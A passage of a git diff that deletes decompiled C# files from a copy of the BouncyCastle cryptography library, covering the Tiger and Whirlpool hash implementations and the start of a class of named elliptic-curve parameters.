-9087549732707247512L, 7234639242841923679L, 2860911103167493259L, -3716770017321781837L, 7444204691177324181L, 8012224255291120002L, 6549509778060988165L, - -4656265058823564969L, -1532696805485516055L, 4993489137437819341L, 4727924503904151836L, -3180601338503688336L, 7858325008468642462L - }; - - private static readonly long[] t4 = new long[256] - { - 6561287832113134677L, 1893413629145602549L, -6205320776685678598L, 7334764389497132503L, 421942495471316930L, -9085229951450268347L, 5948965432456907277L, -6872877502453521409L, 4831763938021002582L, -4272888574428519313L, - 5678704711006605406L, 4536654317168965104L, 802439540090739142L, 1728614842704535657L, 7852250862810361152L, -2970083550513149273L, 6999787169451700297L, 327545298748531618L, -2764213178345403342L, 9213801181845131435L, - -5950018878971805109L, -2186876610533351532L, -3100863505161590557L, -194921935069456237L, 2629011484744925146L, 679658461659738748L, -3068808746888436091L, 2845612796809381245L, -7722098226173915145L, 7273530125705028225L, - 4410076014410041819L, -2304212329100317967L, -45936371244098582L, -5712723046817425393L, 8922873767131958175L, -3382299200423854708L, -3236816455951139535L, -4036747678298392505L, 5226125132195873799L, 2940247444995640068L, - -4418018165041970817L, 6671397049608501367L, 8821388386505911040L, -3580187736799586652L, -1447046360908978430L, 2147098610462912262L, -1956265881574637814L, -2856917834249223582L, 5141735866072457044L, 3265027362719053310L, - -6450920645962515936L, 6017965846669640613L, 4287051124723328232L, 8655371236021312991L, -1156847972119148173L, 2365060307249772354L, 1630631832073154105L, 1828719980936758421L, 2674037562503248056L, -7295616781251116690L, - -1363141094472255887L, 204405347605452144L, 5797523068258732423L, 8122903338174012641L, 8739821670855295734L, 961841682317282412L, 3487881148722869326L, -7995384159388863717L, 7665614591556333409L, -7831409025227614873L, - -822907162794399275L, -1691135090558933875L, 3797048810173566205L, -2578904300750297763L, -3410711173298709536L, 577633178325057199L, -7379212936790430923L, -9035774148364232240L, 2754939666238358593L, 8444132705799138470L, - -7894221632442939675L, 3065464070595795438L, -6610449357786147779L, 3184382822055416328L, 5740274767717360273L, 6179930651821454089L, -4826152258144849421L, 5115645765347262247L, 4602739923119569497L, -3465801151231271281L, - -6359599548771540712L, -1926152657970122275L, -8468989295385802946L, -6500580506154635033L, 4125629484990072616L, -6834670983768857044L, -4845179353893108027L, 4230689665262407186L, -1849684427061896393L, 9047540561879224854L, - 1112218670439199625L, 8426162753992594376L, -5990769681480860131L, -2503790423972405993L, 4028912247909671416L, -409156412951274838L, -8377831951645714695L, -1152570669068554652L, -6327418252815316840L, -3725559206061705268L, - 1964465731879646024L, -2441760721249263597L, 6946242362685775318L, -3298979752616086841L, -7236283555339513389L, -1419193050620496778L, -93735727476260563L, -5905399081030416230L, 2507248404937789251L, 7581261321693772141L, - -8836566033099333598L, 520172056875071564L, 3738403388662150470L, -2357506837776452040L, -5002739851233418934L, 930169001927683533L, 6889748805645999668L, -1031349426815687751L, 7941113837267854943L, -1243211017071393764L, - -2154628650105719635L, 6332043450707792835L, 3386824618901547762L, 7130458179308482168L, 1271522336860346025L, -997034324337437613L, 4823850509807911142L, 3107332511049695348L, 5437793788182680416L, -8315628002795417155L, - 1494290439970088554L, -8609438560643873897L, -8207953325454440687L, -5432621302919780015L, 1159256241058966379L, 1026141471931805870L, -8215608786054685932L, -609691062749569444L, 7511556330643118785L, -3915792337899679783L, - 3932170512244996561L, 6834333685245251200L, 4355290964656419152L, 6487547078612259600L, 6267880520331323438L, -1545475867304599653L, 8190919284549556346L, 3366895789332200348L, 2444540809879438627L, 6459524513146455969L, - 4077716903750958194L, -6168929569432701476L, -6973483665415634802L, -5197441416039796052L, 7734160491610189202L, 7910254887717195099L, 3836881802794822270L, 8311228008842563790L, 730509642500215940L, -650400159804944995L, - -5124223765383482859L, 3579688877020158541L, 8591780283260295173L, 5028082178778891827L, -498814760953987530L, -2709709455026140056L, 5487541034902828271L, 8530400576707172340L, -7604535187505054453L, -869656751120750718L, - 4656569414526204412L, 491061932033469878L, 8035458231926703496L, 137019260109594401L, 7421708309958176805L, 8223709417363553275L, 5401705824239018731L, -7162608250562934562L, 5308870500428712900L, -5508949737295341638L, - 1376856236535589493L, -5655908917112005032L, -7100674984259216372L, 1332977380922036690L, 3015788518022419172L, -6718854486329987908L, 6396540069380292132L, 2034188120276215631L, -1655134238111203034L, -509741179510489141L, - 3623665942510192329L, -9164935270648710301L, 1765784450088366494L, 5837777785993897047L, 1564973338399864744L, -2605395199060435761L, 4964475598524693274L, -5312043978489901415L, 6706291041494563888L, -789946623649963734L, - -8091303779971721549L, 7456716478970921562L, -335263357675197259L, -8515348892102079999L, -7048796562806032069L, -233028078259189719L, 284725780453796946L, -3832073186324226638L, -4921235094493811069L, -5089093504863659344L, - -5607539644671350465L, -8911681616096439592L, -4743899514573401058L, -7664321526450198170L, -4599281686566632149L, 2560491659082246267L, 8971180328015050686L, 2265540171276805379L, 6093561527083620308L, 12169565841013306L, - 9128413284208255679L, -4178722056535276608L, -8960148414521589626L, -4216952774774654326L, -5374970407177951367L, -6668788646589711127L, -2946910590031425822L, -8674853389405194592L, -7535980417822448849L, -6115357923114297461L, - -8065837346967928004L, -7487037274649424496L, -2061373546992596293L, -5783192355322733388L, 7153300451507295513L, -8779488031786375734L, 2187906506867626476L, 5612681432830855607L, -4653220181978985551L, 4688837593722596333L, - -3815667051463559517L, -1779743783662362556L, -3650491565905270770L, -4529053496248414107L, -4021111997381021802L, -4350414089199835873L - }; - - private long a; - - private long b; - - private long c; - - private long byteCount; - - private byte[] Buffer = new byte[8]; - - private int bOff; - - private long[] x = new long[8]; - - private int xOff; - - public string AlgorithmName => "Tiger"; - - public TigerDigest() - { - Reset(); - } - - public TigerDigest(TigerDigest t) - { - Reset(t); - } - - public int GetDigestSize() - { - return 24; - } - - public int GetByteLength() - { - return 64; - } - - private void ProcessWord(byte[] b, int off) - { - x[xOff++] = ((long)(b[off + 7] & 0xFF) << 56) | ((long)(b[off + 6] & 0xFF) << 48) | ((long)(b[off + 5] & 0xFF) << 40) | ((long)(b[off + 4] & 0xFF) << 32) | ((long)(b[off + 3] & 0xFF) << 24) | ((long)(b[off + 2] & 0xFF) << 16) | ((long)(b[off + 1] & 0xFF) << 8) | (uint)(b[off] & 0xFF); - if (xOff == x.Length) - { - ProcessBlock(); - } - bOff = 0; - } - - public void Update(byte input) - { - Buffer[bOff++] = input; - if (bOff == Buffer.Length) - { - ProcessWord(Buffer, 0); - } - byteCount++; - } - - public void BlockUpdate(byte[] input, int inOff, int length) - { - while (bOff != 0 && length > 0) - { - Update(input[inOff]); - inOff++; - length--; - } - while (length > 8) - { - ProcessWord(input, inOff); - inOff += 8; - length -= 8; - byteCount += 8L; - } - while (length > 0) - { - Update(input[inOff]); - inOff++; - length--; - } - } - - private void RoundABC(long x, long mul) - { - c ^= x; - a -= t1[(int)c & 0xFF] ^ t2[(int)(c >> 16) & 0xFF] ^ t3[(int)(c >> 32) & 0xFF] ^ t4[(int)(c >> 48) & 0xFF]; - b += t4[(int)(c >> 8) & 0xFF] ^ t3[(int)(c >> 24) & 0xFF] ^ t2[(int)(c >> 40) & 0xFF] ^ t1[(int)(c >> 56) & 0xFF]; - b *= mul; - } - - private void RoundBCA(long x, long mul) - { - a ^= x; - b -= t1[(int)a & 0xFF] ^ t2[(int)(a >> 16) & 0xFF] ^ t3[(int)(a >> 32) & 0xFF] ^ t4[(int)(a >> 48) & 0xFF]; - c += t4[(int)(a >> 8) & 0xFF] ^ t3[(int)(a >> 24) & 0xFF] ^ t2[(int)(a >> 40) & 0xFF] ^ t1[(int)(a >> 56) & 0xFF]; - c *= mul; - } - - private void RoundCAB(long x, long mul) - { - b ^= x; - c -= t1[(int)b & 0xFF] ^ t2[(int)(b >> 16) & 0xFF] ^ t3[(int)(b >> 32) & 0xFF] ^ t4[(int)(b >> 48) & 0xFF]; - a += t4[(int)(b >> 8) & 0xFF] ^ t3[(int)(b >> 24) & 0xFF] ^ t2[(int)(b >> 40) & 0xFF] ^ t1[(int)(b >> 56) & 0xFF]; - a *= mul; - } - - private void KeySchedule() - { - long[] array; - (array = x)[0] = array[0] - (x[7] ^ -6510615555426900571L); - (array = x)[1] = array[1] ^ x[0]; - (array = x)[2] = array[2] + x[1]; - (array = x)[3] = array[3] - (x[2] ^ (~x[1] << 19)); - (array = x)[4] = array[4] ^ x[3]; - (array = x)[5] = array[5] + x[4]; - (array = x)[6] = array[6] - (x[5] ^ (~x[4] >>> 23)); - (array = x)[7] = array[7] ^ x[6]; - (array = x)[0] = array[0] + x[7]; - (array = x)[1] = array[1] - (x[0] ^ (~x[7] << 19)); - (array = x)[2] = array[2] ^ x[1]; - (array = x)[3] = array[3] + x[2]; - (array = x)[4] = array[4] - (x[3] ^ (~x[2] >>> 23)); - (array = x)[5] = array[5] ^ x[4]; - (array = x)[6] = array[6] + x[5]; - (array = x)[7] = array[7] - (x[6] ^ 0x123456789ABCDEFL); - } - - private void ProcessBlock() - { - long num = a; - long num2 = b; - long num3 = c; - RoundABC(x[0], 5L); - RoundBCA(x[1], 5L); - RoundCAB(x[2], 5L); - RoundABC(x[3], 5L); - RoundBCA(x[4], 5L); - RoundCAB(x[5], 5L); - RoundABC(x[6], 5L); - RoundBCA(x[7], 5L); - KeySchedule(); - RoundCAB(x[0], 7L); - RoundABC(x[1], 7L); - RoundBCA(x[2], 7L); - RoundCAB(x[3], 7L); - RoundABC(x[4], 7L); - RoundBCA(x[5], 7L); - RoundCAB(x[6], 7L); - RoundABC(x[7], 7L); - KeySchedule(); - RoundBCA(x[0], 9L); - RoundCAB(x[1], 9L); - RoundABC(x[2], 9L); - RoundBCA(x[3], 9L); - RoundCAB(x[4], 9L); - RoundABC(x[5], 9L); - RoundBCA(x[6], 9L); - RoundCAB(x[7], 9L); - a ^= num; - b -= num2; - c += num3; - xOff = 0; - for (int i = 0; i != x.Length; i++) - { - x[i] = 0L; - } - } - - private void UnpackWord(long r, byte[] output, int outOff) - { - output[outOff + 7] = (byte)(r >> 56); - output[outOff + 6] = (byte)(r >> 48); - output[outOff + 5] = (byte)(r >> 40); - output[outOff + 4] = (byte)(r >> 32); - output[outOff + 3] = (byte)(r >> 24); - output[outOff + 2] = (byte)(r >> 16); - output[outOff + 1] = (byte)(r >> 8); - output[outOff] = (byte)r; - } - - private void ProcessLength(long bitLength) - { - x[7] = bitLength; - } - - private void Finish() - { - long bitLength = byteCount << 3; - Update(1); - while (bOff != 0) - { - Update(0); - } - ProcessLength(bitLength); - ProcessBlock(); - } - - public int DoFinal(byte[] output, int outOff) - { - Finish(); - UnpackWord(a, output, outOff); - UnpackWord(b, output, outOff + 8); - UnpackWord(c, output, outOff + 16); - Reset(); - return 24; - } - - public void Reset() - { - a = 81985529216486895L; - b = -81985529216486896L; - c = -1110518062304271993L; - xOff = 0; - for (int i = 0; i != x.Length; i++) - { - x[i] = 0L; - } - bOff = 0; - for (int j = 0; j != Buffer.Length; j++) - { - Buffer[j] = 0; - } - byteCount = 0L; - } - - public IMemoable Copy() - { - return new TigerDigest(this); - } - - public void Reset(IMemoable other) - { - TigerDigest tigerDigest = (TigerDigest)other; - a = tigerDigest.a; - b = tigerDigest.b; - c = tigerDigest.c; - Array.Copy(tigerDigest.x, 0, x, 0, tigerDigest.x.Length); - xOff = tigerDigest.xOff; - Array.Copy(tigerDigest.Buffer, 0, Buffer, 0, tigerDigest.Buffer.Length); - bOff = tigerDigest.bOff; - byteCount = tigerDigest.byteCount; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/WhirlpoolDigest.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/WhirlpoolDigest.cs deleted file mode 100644 index 829febd..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/WhirlpoolDigest.cs +++ /dev/null @@ -1,387 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Digests; - -public sealed class WhirlpoolDigest : IDigest, IMemoable -{ - private const int BYTE_LENGTH = 64; - - private const int DIGEST_LENGTH_BYTES = 64; - - private const int ROUNDS = 10; - - private const int REDUCTION_POLYNOMIAL = 285; - - private const int BITCOUNT_ARRAY_SIZE = 32; - - private static readonly int[] SBOX; - - private static readonly long[] C0; - - private static readonly long[] C1; - - private static readonly long[] C2; - - private static readonly long[] C3; - - private static readonly long[] C4; - - private static readonly long[] C5; - - private static readonly long[] C6; - - private static readonly long[] C7; - - private readonly long[] _rc = new long[11]; - - private static readonly short[] EIGHT; - - private byte[] _buffer = new byte[64]; - - private int _bufferPos; - - private short[] _bitCount = new short[32]; - - private long[] _hash = new long[8]; - - private long[] _K = new long[8]; - - private long[] _L = new long[8]; - - private long[] _block = new long[8]; - - private long[] _state = new long[8]; - - public string AlgorithmName => "Whirlpool"; - - static WhirlpoolDigest() - { - SBOX = new int[256] - { - 24, 35, 198, 232, 135, 184, 1, 79, 54, 166, - 210, 245, 121, 111, 145, 82, 96, 188, 155, 142, - 163, 12, 123, 53, 29, 224, 215, 194, 46, 75, - 254, 87, 21, 119, 55, 229, 159, 240, 74, 218, - 88, 201, 41, 10, 177, 160, 107, 133, 189, 93, - 16, 244, 203, 62, 5, 103, 228, 39, 65, 139, - 167, 125, 149, 216, 251, 238, 124, 102, 221, 23, - 71, 158, 202, 45, 191, 7, 173, 90, 131, 51, - 99, 2, 170, 113, 200, 25, 73, 217, 242, 227, - 91, 136, 154, 38, 50, 176, 233, 15, 213, 128, - 190, 205, 52, 72, 255, 122, 144, 95, 32, 104, - 26, 174, 180, 84, 147, 34, 100, 241, 115, 18, - 64, 8, 195, 236, 219, 161, 141, 61, 151, 0, - 207, 43, 118, 130, 214, 27, 181, 175, 106, 80, - 69, 243, 48, 239, 63, 85, 162, 234, 101, 186, - 47, 192, 222, 28, 253, 77, 146, 117, 6, 138, - 178, 230, 14, 31, 98, 212, 168, 150, 249, 197, - 37, 89, 132, 114, 57, 76, 94, 120, 56, 140, - 209, 165, 226, 97, 179, 33, 156, 30, 67, 199, - 252, 4, 81, 153, 109, 13, 250, 223, 126, 36, - 59, 171, 206, 17, 143, 78, 183, 235, 60, 129, - 148, 247, 185, 19, 44, 211, 231, 110, 196, 3, - 86, 68, 127, 169, 42, 187, 193, 83, 220, 11, - 157, 108, 49, 116, 246, 70, 172, 137, 20, 225, - 22, 58, 105, 9, 112, 182, 208, 237, 204, 66, - 152, 164, 40, 92, 248, 134 - }; - C0 = new long[256]; - C1 = new long[256]; - C2 = new long[256]; - C3 = new long[256]; - C4 = new long[256]; - C5 = new long[256]; - C6 = new long[256]; - C7 = new long[256]; - EIGHT = new short[32]; - EIGHT[31] = 8; - for (int i = 0; i < 256; i++) - { - int num = SBOX[i]; - int num2 = maskWithReductionPolynomial(num << 1); - int num3 = maskWithReductionPolynomial(num2 << 1); - int num4 = num3 ^ num; - int num5 = maskWithReductionPolynomial(num3 << 1); - int num6 = num5 ^ num; - C0[i] = packIntoLong(num, num, num3, num, num5, num4, num2, num6); - C1[i] = packIntoLong(num6, num, num, num3, num, num5, num4, num2); - C2[i] = packIntoLong(num2, num6, num, num, num3, num, num5, num4); - C3[i] = packIntoLong(num4, num2, num6, num, num, num3, num, num5); - C4[i] = packIntoLong(num5, num4, num2, num6, num, num, num3, num); - C5[i] = packIntoLong(num, num5, num4, num2, num6, num, num, num3); - C6[i] = packIntoLong(num3, num, num5, num4, num2, num6, num, num); - C7[i] = packIntoLong(num, num3, num, num5, num4, num2, num6, num); - } - } - - public WhirlpoolDigest() - { - _rc[0] = 0L; - for (int i = 1; i <= 10; i++) - { - int num = 8 * (i - 1); - _rc[i] = (C0[num] & -72057594037927936L) ^ (C1[num + 1] & 0xFF000000000000L) ^ (C2[num + 2] & 0xFF0000000000L) ^ (C3[num + 3] & 0xFF00000000L) ^ (C4[num + 4] & 0xFF000000u) ^ (C5[num + 5] & 0xFF0000) ^ (C6[num + 6] & 0xFF00) ^ (C7[num + 7] & 0xFF); - } - } - - private static long packIntoLong(int b7, int b6, int b5, int b4, int b3, int b2, int b1, int b0) - { - return ((long)b7 << 56) ^ ((long)b6 << 48) ^ ((long)b5 << 40) ^ ((long)b4 << 32) ^ ((long)b3 << 24) ^ ((long)b2 << 16) ^ ((long)b1 << 8) ^ b0; - } - - private static int maskWithReductionPolynomial(int input) - { - int num = input; - if ((long)num >= 256L) - { - num ^= 0x11D; - } - return num; - } - - public WhirlpoolDigest(WhirlpoolDigest originalDigest) - { - Reset(originalDigest); - } - - public int GetDigestSize() - { - return 64; - } - - public int DoFinal(byte[] output, int outOff) - { - finish(); - for (int i = 0; i < 8; i++) - { - convertLongToByteArray(_hash[i], output, outOff + i * 8); - } - Reset(); - return GetDigestSize(); - } - - public void Reset() - { - _bufferPos = 0; - Array.Clear(_bitCount, 0, _bitCount.Length); - Array.Clear(_buffer, 0, _buffer.Length); - Array.Clear(_hash, 0, _hash.Length); - Array.Clear(_K, 0, _K.Length); - Array.Clear(_L, 0, _L.Length); - Array.Clear(_block, 0, _block.Length); - Array.Clear(_state, 0, _state.Length); - } - - private void processFilledBuffer() - { - for (int i = 0; i < _state.Length; i++) - { - _block[i] = bytesToLongFromBuffer(_buffer, i * 8); - } - processBlock(); - _bufferPos = 0; - Array.Clear(_buffer, 0, _buffer.Length); - } - - private static long bytesToLongFromBuffer(byte[] buffer, int startPos) - { - return (long)((((ulong)buffer[startPos] & 0xFFuL) << 56) | (((ulong)buffer[startPos + 1] & 0xFFuL) << 48) | (((ulong)buffer[startPos + 2] & 0xFFuL) << 40) | (((ulong)buffer[startPos + 3] & 0xFFuL) << 32) | (((ulong)buffer[startPos + 4] & 0xFFuL) << 24) | (((ulong)buffer[startPos + 5] & 0xFFuL) << 16) | (((ulong)buffer[startPos + 6] & 0xFFuL) << 8) | ((ulong)buffer[startPos + 7] & 0xFFuL)); - } - - private static void convertLongToByteArray(long inputLong, byte[] outputArray, int offSet) - { - for (int i = 0; i < 8; i++) - { - outputArray[offSet + i] = (byte)((inputLong >> 56 - i * 8) & 0xFF); - } - } - - private void processBlock() - { - for (int i = 0; i < 8; i++) - { - _state[i] = _block[i] ^ (_K[i] = _hash[i]); - } - for (int j = 1; j <= 10; j++) - { - long[] l; - for (int k = 0; k < 8; k++) - { - _L[k] = 0L; - long[] array = (l = _L); - int num = k; - nint num2 = num; - array[num] = l[num2] ^ C0[(int)(_K[k & 7] >> 56) & 0xFF]; - long[] array2 = (l = _L); - int num3 = k; - num2 = num3; - array2[num3] = l[num2] ^ C1[(int)(_K[(k - 1) & 7] >> 48) & 0xFF]; - long[] array3 = (l = _L); - int num4 = k; - num2 = num4; - array3[num4] = l[num2] ^ C2[(int)(_K[(k - 2) & 7] >> 40) & 0xFF]; - long[] array4 = (l = _L); - int num5 = k; - num2 = num5; - array4[num5] = l[num2] ^ C3[(int)(_K[(k - 3) & 7] >> 32) & 0xFF]; - long[] array5 = (l = _L); - int num6 = k; - num2 = num6; - array5[num6] = l[num2] ^ C4[(int)(_K[(k - 4) & 7] >> 24) & 0xFF]; - long[] array6 = (l = _L); - int num7 = k; - num2 = num7; - array6[num7] = l[num2] ^ C5[(int)(_K[(k - 5) & 7] >> 16) & 0xFF]; - long[] array7 = (l = _L); - int num8 = k; - num2 = num8; - array7[num8] = l[num2] ^ C6[(int)(_K[(k - 6) & 7] >> 8) & 0xFF]; - long[] array8 = (l = _L); - int num9 = k; - num2 = num9; - array8[num9] = l[num2] ^ C7[(int)_K[(k - 7) & 7] & 0xFF]; - } - Array.Copy(_L, 0, _K, 0, _K.Length); - (l = _K)[0] = l[0] ^ _rc[j]; - for (int m = 0; m < 8; m++) - { - _L[m] = _K[m]; - long[] array9 = (l = _L); - int num10 = m; - nint num2 = num10; - array9[num10] = l[num2] ^ C0[(int)(_state[m & 7] >> 56) & 0xFF]; - long[] array10 = (l = _L); - int num11 = m; - num2 = num11; - array10[num11] = l[num2] ^ C1[(int)(_state[(m - 1) & 7] >> 48) & 0xFF]; - long[] array11 = (l = _L); - int num12 = m; - num2 = num12; - array11[num12] = l[num2] ^ C2[(int)(_state[(m - 2) & 7] >> 40) & 0xFF]; - long[] array12 = (l = _L); - int num13 = m; - num2 = num13; - array12[num13] = l[num2] ^ C3[(int)(_state[(m - 3) & 7] >> 32) & 0xFF]; - long[] array13 = (l = _L); - int num14 = m; - num2 = num14; - array13[num14] = l[num2] ^ C4[(int)(_state[(m - 4) & 7] >> 24) & 0xFF]; - long[] array14 = (l = _L); - int num15 = m; - num2 = num15; - array14[num15] = l[num2] ^ C5[(int)(_state[(m - 5) & 7] >> 16) & 0xFF]; - long[] array15 = (l = _L); - int num16 = m; - num2 = num16; - array15[num16] = l[num2] ^ C6[(int)(_state[(m - 6) & 7] >> 8) & 0xFF]; - long[] array16 = (l = _L); - int num17 = m; - num2 = num17; - array16[num17] = l[num2] ^ C7[(int)_state[(m - 7) & 7] & 0xFF]; - } - Array.Copy(_L, 0, _state, 0, _state.Length); - } - for (int n = 0; n < 8; n++) - { - long[] l; - long[] array17 = (l = _hash); - int num18 = n; - nint num2 = num18; - array17[num18] = l[num2] ^ (_state[n] ^ _block[n]); - } - } - - public void Update(byte input) - { - _buffer[_bufferPos] = input; - _bufferPos++; - if (_bufferPos == _buffer.Length) - { - processFilledBuffer(); - } - increment(); - } - - private void increment() - { - int num = 0; - for (int num2 = _bitCount.Length - 1; num2 >= 0; num2--) - { - int num3 = (_bitCount[num2] & 0xFF) + EIGHT[num2] + num; - num = num3 >> 8; - _bitCount[num2] = (short)(num3 & 0xFF); - } - } - - public void BlockUpdate(byte[] input, int inOff, int length) - { - while (length > 0) - { - Update(input[inOff]); - inOff++; - length--; - } - } - - private void finish() - { - byte[] array = copyBitLength(); - byte[] buffer; - byte[] array2 = (buffer = _buffer); - int num = _bufferPos++; - nint num2 = num; - array2[num] = (byte)(buffer[num2] | 0x80); - if (_bufferPos == _buffer.Length) - { - processFilledBuffer(); - } - if (_bufferPos > 32) - { - while (_bufferPos != 0) - { - Update(0); - } - } - while (_bufferPos <= 32) - { - Update(0); - } - Array.Copy(array, 0, _buffer, 32, array.Length); - processFilledBuffer(); - } - - private byte[] copyBitLength() - { - byte[] array = new byte[32]; - for (int i = 0; i < array.Length; i++) - { - array[i] = (byte)(_bitCount[i] & 0xFF); - } - return array; - } - - public int GetByteLength() - { - return 64; - } - - public IMemoable Copy() - { - return new WhirlpoolDigest(this); - } - - public void Reset(IMemoable other) - { - WhirlpoolDigest whirlpoolDigest = (WhirlpoolDigest)other; - Array.Copy(whirlpoolDigest._rc, 0, _rc, 0, _rc.Length); - Array.Copy(whirlpoolDigest._buffer, 0, _buffer, 0, _buffer.Length); - _bufferPos = whirlpoolDigest._bufferPos; - Array.Copy(whirlpoolDigest._bitCount, 0, _bitCount, 0, _bitCount.Length); - Array.Copy(whirlpoolDigest._hash, 0, _hash, 0, _hash.Length); - Array.Copy(whirlpoolDigest._K, 0, _K, 0, _K.Length); - Array.Copy(whirlpoolDigest._L, 0, _L, 0, _L.Length); - Array.Copy(whirlpoolDigest._block, 0, _block, 0, _block.Length); - Array.Copy(whirlpoolDigest._state, 0, _state, 0, _state.Length); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/EC/CustomNamedCurves.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/EC/CustomNamedCurves.cs deleted file mode 100644 index 8f6eb29..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/EC/CustomNamedCurves.cs +++ /dev/null @@ -1,736 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.GM; -using Org.BouncyCastle.Asn1.Sec; -using Org.BouncyCastle.Asn1.X9; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Math.EC; -using Org.BouncyCastle.Math.EC.Custom.Djb; -using Org.BouncyCastle.Math.EC.Custom.GM; -using Org.BouncyCastle.Math.EC.Custom.Sec; -using Org.BouncyCastle.Math.EC.Endo; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Collections; -using Org.BouncyCastle.Utilities.Encoders; - -namespace Org.BouncyCastle.Crypto.EC; - -public sealed class CustomNamedCurves -{ - internal class Curve25519Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new Curve25519Holder(); - - private Curve25519Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - byte[] seed = null; - ECCurve eCCurve = ConfigureCurve(new Curve25519()); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("042AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD245A20AE19A1B8A086B4E01EDD2C7748D14C923D4D7E6D7C61B229E9C5A27ECED3D9")); - return new X9ECParameters(eCCurve, g, eCCurve.Order, eCCurve.Cofactor, seed); - } - } - - internal class SecP128R1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new SecP128R1Holder(); - - private SecP128R1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - byte[] seed = Hex.Decode("000E0D4D696E6768756151750CC03A4473D03679"); - ECCurve eCCurve = ConfigureCurve(new SecP128R1Curve()); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("04161FF7528B899B2D0C28607CA52C5B86CF5AC8395BAFEB13C02DA292DDED7A83")); - return new X9ECParameters(eCCurve, g, eCCurve.Order, eCCurve.Cofactor, seed); - } - } - - internal class SecP160K1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new SecP160K1Holder(); - - private SecP160K1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - byte[] seed = null; - GlvTypeBParameters p = new GlvTypeBParameters(new BigInteger("9ba48cba5ebcb9b6bd33b92830b2a2e0e192f10a", 16), new BigInteger("c39c6c3b3a36d7701b9c71a1f5804ae5d0003f4", 16), new BigInteger[2] - { - new BigInteger("9162fbe73984472a0a9e", 16), - new BigInteger("-96341f1138933bc2f505", 16) - }, new BigInteger[2] - { - new BigInteger("127971af8721782ecffa3", 16), - new BigInteger("9162fbe73984472a0a9e", 16) - }, new BigInteger("9162fbe73984472a0a9d0590", 16), new BigInteger("96341f1138933bc2f503fd44", 16), 176); - ECCurve eCCurve = ConfigureCurveGlv(new SecP160K1Curve(), p); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("043B4C382CE37AA192A4019E763036F4F5DD4D7EBB938CF935318FDCED6BC28286531733C3F03C4FEE")); - return new X9ECParameters(eCCurve, g, eCCurve.Order, eCCurve.Cofactor, seed); - } - } - - internal class SecP160R1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new SecP160R1Holder(); - - private SecP160R1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - byte[] seed = Hex.Decode("1053CDE42C14D696E67687561517533BF3F83345"); - ECCurve eCCurve = ConfigureCurve(new SecP160R1Curve()); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("044A96B5688EF573284664698968C38BB913CBFC8223A628553168947D59DCC912042351377AC5FB32")); - return new X9ECParameters(eCCurve, g, eCCurve.Order, eCCurve.Cofactor, seed); - } - } - - internal class SecP160R2Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new SecP160R2Holder(); - - private SecP160R2Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - byte[] seed = Hex.Decode("B99B99B099B323E02709A4D696E6768756151751"); - ECCurve eCCurve = ConfigureCurve(new SecP160R2Curve()); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("0452DCB034293A117E1F4FF11B30F7199D3144CE6DFEAFFEF2E331F296E071FA0DF9982CFEA7D43F2E")); - return new X9ECParameters(eCCurve, g, eCCurve.Order, eCCurve.Cofactor, seed); - } - } - - internal class SecP192K1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new SecP192K1Holder(); - - private SecP192K1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - byte[] seed = null; - GlvTypeBParameters p = new GlvTypeBParameters(new BigInteger("bb85691939b869c1d087f601554b96b80cb4f55b35f433c2", 16), new BigInteger("3d84f26c12238d7b4f3d516613c1759033b1a5800175d0b1", 16), new BigInteger[2] - { - new BigInteger("71169be7330b3038edb025f1", 16), - new BigInteger("-b3fb3400dec5c4adceb8655c", 16) - }, new BigInteger[2] - { - new BigInteger("12511cfe811d0f4e6bc688b4d", 16), - new BigInteger("71169be7330b3038edb025f1", 16) - }, new BigInteger("71169be7330b3038edb025f1d0f9", 16), new BigInteger("b3fb3400dec5c4adceb8655d4c94", 16), 208); - ECCurve eCCurve = ConfigureCurveGlv(new SecP192K1Curve(), p); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("04DB4FF10EC057E9AE26B07D0280B7F4341DA5D1B1EAE06C7D9B2F2F6D9C5628A7844163D015BE86344082AA88D95E2F9D")); - return new X9ECParameters(eCCurve, g, eCCurve.Order, eCCurve.Cofactor, seed); - } - } - - internal class SecP192R1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new SecP192R1Holder(); - - private SecP192R1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - byte[] seed = Hex.Decode("3045AE6FC8422F64ED579528D38120EAE12196D5"); - ECCurve eCCurve = ConfigureCurve(new SecP192R1Curve()); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("04188DA80EB03090F67CBF20EB43A18800F4FF0AFD82FF101207192B95FFC8DA78631011ED6B24CDD573F977A11E794811")); - return new X9ECParameters(eCCurve, g, eCCurve.Order, eCCurve.Cofactor, seed); - } - } - - internal class SecP224K1Holder : X9ECParametersHolder - { - internal static readonly 